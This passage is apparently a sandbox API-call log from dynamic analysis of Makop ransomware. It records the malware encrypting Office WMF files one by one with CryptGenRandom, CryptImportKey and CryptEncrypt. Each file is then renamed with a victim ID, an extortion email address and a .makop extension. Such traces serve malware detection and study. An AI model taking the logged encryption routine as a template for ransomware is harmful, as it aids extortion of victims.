lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.564] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.564] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.564] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.564] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.565] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.565] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x66c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x66c, lpOverlapped=0x0) returned 1 [0166.565] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x670, dwBufLen=0x670 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x670) returned 1 [0166.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.565] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x670, lpOverlapped=0x0) returned 1 [0166.565] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.565] SetEndOfFile (hFile=0x130) returned 1 [0166.571] GetProcessHeap () returned 0x48a0000 [0166.571] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.571] GetProcessHeap () returned 0x48a0000 [0166.571] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.571] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.573] CloseHandle (hObject=0x130) returned 1 [0166.573] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76a200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5a76a200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18233_.WMF", cAlternateFileName="")) returned 1 [0166.573] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF") returned 70 [0166.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.577] GetProcessHeap () returned 0x48a0000 [0166.577] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.577] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.577] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.581] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.581] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.581] GetProcessHeap () returned 0x48a0000 [0166.581] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.581] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.581] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.581] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.582] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.582] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.582] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.582] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.582] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.583] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.583] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x64c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x64c, lpOverlapped=0x0) returned 1 [0166.583] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x650, dwBufLen=0x650 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x650) returned 1 [0166.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.583] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x650, lpOverlapped=0x0) returned 1 [0166.583] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.583] SetEndOfFile (hFile=0x130) returned 1 [0166.590] GetProcessHeap () returned 0x48a0000 [0166.590] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.590] GetProcessHeap () returned 0x48a0000 [0166.590] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.590] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.592] CloseHandle (hObject=0x130) returned 1 [0166.592] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eba9f00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6eba9f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x754, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18234_.WMF", cAlternateFileName="")) returned 1 [0166.592] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF") returned 70 [0166.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.594] GetProcessHeap () returned 0x48a0000 [0166.594] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.594] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.594] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.598] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.598] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.598] GetProcessHeap () returned 0x48a0000 [0166.598] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.598] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.598] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.598] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.598] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.598] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.598] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.599] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.599] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.599] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.599] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x754, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x754, lpOverlapped=0x0) returned 1 [0166.599] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x760, dwBufLen=0x760 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x760) returned 1 [0166.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.600] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x760, lpOverlapped=0x0) returned 1 [0166.600] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.600] SetEndOfFile (hFile=0x130) returned 1 [0166.606] GetProcessHeap () returned 0x48a0000 [0166.606] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.606] GetProcessHeap () returned 0x48a0000 [0166.606] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.606] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.608] CloseHandle (hObject=0x130) returned 1 [0166.609] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a25aa00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a25aa00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18235_.WMF", cAlternateFileName="")) returned 1 [0166.609] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF") returned 70 [0166.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.610] GetProcessHeap () returned 0x48a0000 [0166.610] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.610] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.610] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.614] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.614] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.614] GetProcessHeap () returned 0x48a0000 [0166.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.614] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.614] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.614] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.615] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.615] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.615] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.615] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.616] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.616] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.616] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x73c, lpOverlapped=0x0) returned 1 [0166.616] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x740, dwBufLen=0x740 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x740) returned 1 [0166.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.616] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x740, lpOverlapped=0x0) returned 1 [0166.616] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.617] SetEndOfFile (hFile=0x130) returned 1 [0166.639] GetProcessHeap () returned 0x48a0000 [0166.639] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.639] GetProcessHeap () returned 0x48a0000 [0166.639] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.639] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.642] CloseHandle (hObject=0x130) returned 1 [0166.642] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9ad400, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9f9ad400, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18236_.WMF", cAlternateFileName="")) returned 1 [0166.642] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF") returned 70 [0166.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.643] GetProcessHeap () returned 0x48a0000 [0166.643] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.643] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.643] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.647] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.647] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.647] GetProcessHeap () returned 0x48a0000 [0166.647] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.647] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, 